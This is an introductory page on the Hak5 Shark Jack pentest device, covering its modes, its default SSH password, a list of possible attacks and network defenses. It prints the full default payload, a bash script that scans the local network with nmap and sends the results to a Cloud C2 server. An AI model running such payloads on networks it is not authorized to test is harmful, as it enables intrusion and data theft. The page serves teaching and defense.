Shark Jack: Introduction
Introduction
The Shark Jack is a compact, Linux-based penetration testing device developed by Hak5, primarily designed for fast network reconnaissance and data exfiltration. Resembling a USB Ethernet adapter, it connects to a target network and runs payloads that can gather data, manipulate traffic, or exploit vulnerabilities. A lithium ion battery offers a running time of around 10-15 minutes. By default a predefined payload is installed. Seen in Example Payload.
Key Features
- Size: 62 x 21 x 12mm
- RJ45 Fast Ethernet
- USB-C charging port
- 2.5W (USB 5V 0.5A)
- Batterie 3.7V 50mAh 0.2W LiPo
- 35°C-45°C operating temperature
- MT7628DAN microcontroller
- 64 MB DDR RAM | 64 MB SPI Flash
- OpenWRT 18.06-based GNU/Linux operating system
Modes of Operation
The Shark Jack provides three modes of operation: Attack, Arming and Off. These modes can be activated by pushing the red toggle switch on the side.
Attack-Mode
This mode can be activated by pushing the red toggle switch in the RJ45 Ethernet Jack direction. In this mode, the device starts the bash script payload.sh or payload.txt from /root/payload after a short boot phase. The results from this script - which in turn can execute further scripts - usually stored in a suitable folder in the /root/loot directory.
Arming-Mode
The ARMING-Mode is located in the middle position of the toggle switch. In this mode, the Shark Jack will start up an SSH-Server. After assigning an IP-Address in the 172.16.24.0/24 subnet to your device, you should be able to establish an SSH-Connection by root@172.16.24.1 (default password: hak5shark). Via the connection it is possible to change or update the payload-script in /root/payload and exfiltrate the collected loot from /root/loot directory by using "scp".
Off-Mode
By toggling the switch in the USB-C charging port direction, the device will turn off.
Payloads
The payloads for the Shark Jack are written in Bash with some sort of DuckyScript. This means you can fully use the usual CLI commands from Linux, as well as use certain commands to manage the LED or the connection to the Cloud C² by Hak5 and transmit data.
Example Payload
The following payload is the predefined payload which comes with the Shark Jack out of the Box. Essentially, the device gets an IP address from a hopefully existing DHCP server and starts an NMAP scan. It then saves the collected data under /root/loot/nmap and tries to transmit it to a Cloud C² by Hak5 - which can be configured via device.config in /etc. Otherwise you are still able to extract the data manually by using the ARMING-Mode. Special commands like "LED ATTACK", "NETMODE DHCP_CLIENT" and "C2CONNECT" are the already mentioned DuckyScript commands. More about them can be found in the documentation from Hak5 itself.
#!/bin/bash
# LED SETUP ... Obtaining IP address from DHCP
# LED ATTACK ... Scanning
# LED FINISH ... Scan Complete
# LED SPECIAL ... Cloud C2 Exfiltration
#
# See nmap --help for options. Default "-sP" ping scans the address space for
# fast host discovery with "-v" for more verbose
C2PROVISION="/etc/device.config"
NMAP_OPTIONS="-sP -v --host-timeout 30s --max-retries 3"
LOOT_DIR=/root/loot/nmap
# Setup loot directory, DHCP client, and determine subnet
LED SETUP
SERIAL_WRITE [*] Setting up Nmap Payload
mkdir -p $LOOT_DIR
COUNT=$(($(ls -l $LOOT_DIR/*.txt | wc -l)+1))
NETMODE DHCP_CLIENT
while [ -z "$SUBNET" ]; do
sleep 1 && SUBNET=$(ip addr | grep -i eth0 | grep -i inet | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}[\/]{1}[0-9]{1,2}" | sed 's/\.[0-9]*\//\.0\//')
done
# Scan network
LED ATTACK
nmap $NMAP_OPTIONS $SUBNET -oN $LOOT_DIR/nmap-scan_$COUNT.txt
SERIAL_WRITE [*] Setting up IP Payload
PUBLIC_IP_URL="http://ipinfo.io/ip"
function FAIL() { LED FAIL; SERIAL_WRITE [!] Failed to obtain IP address;exit; }
LED SETUP
# Make log file
LOG_FILE="ipinfo_$(find $LOOT_DIR -type f | wc -l).txt"
LOG="$LOOT_DIR/$LOG_FILE"
LED ATTACK
# Gather IP info and save log
INTERNALIP=$(ifconfig eth0 | grep "inet addr" | awk {'print $2'} | awk -F: {'print $2'})
GATEWAY=$(route | grep default | awk {'print $2'})
PUBLICIP=$(wget --timeout=30 $PUBLIC_IP_URL -qO -) || FAIL
echo -e "Date: $(date)\n\
Internal IP Address: $INTERNALIP\n\
Public IP Address: $PUBLICIP\n\
Gateway: $GATEWAY\n" >> $LOG
SERIAL_WRITE [*] Internal IP: $INTERNALIP
SERIAL_WRITE [*] Public IP: $PUBLICIP
SERIAL_WRITE [*] Gateway: $GATEWAY
# Exfiltrate Loot to Cloud C2
if [ [ -f "$C2PROVISION" ] ]; then
LED SPECIAL
# Connect to Cloud C2
C2CONNECT
# Wait until Cloud C2 connection is established
while ! pgrep cc-client; do sleep 1; done
# Exfiltrate all test loot files
FILES="$LOOT_DIR/*.txt"
for f in $FILES; do C2EXFIL STRING $f Nmap-C2-Payload; done
else
# Exit script if not provisioned for C2
LED R SOLID
exit 1
fi
LED FINISH
Possible Attacks
After utilities such as Python, arping, nmap etc. are pre-installed on the Shark Jack and can be expanded via an OpenWRT repository, the following attacks are now possible:
- Network scanning and vulnerability assessment
- Man-in-the-Middle-Attacks (MITM)
- DNS-Spoofing
- Credential Harvesting
- Denial-of-Service Attacks (DoS)
- Unauthorized Access into a Network via a remote SSH-Tunnel connection.
Defense
- deactivation of unused ports: All unnecessary Ethernet ports on switches should be switched off.
- assigning a Dead VLAN to ports, which cannot be deactivated
- 802.1x-Authentification: Through port security mechanisms or 802.1x authentication can only authorized devices gain access to the network.
- MAC-Filtering and DHCP hardening: The DHCP server can be configured to only use registered MAC addresses receive an IP address. Alternatively, DHCP can be disabled, which however is more difficult to implement in larger networks.
- physical security / access control
- usage of an Instrusion Detection System (IDS)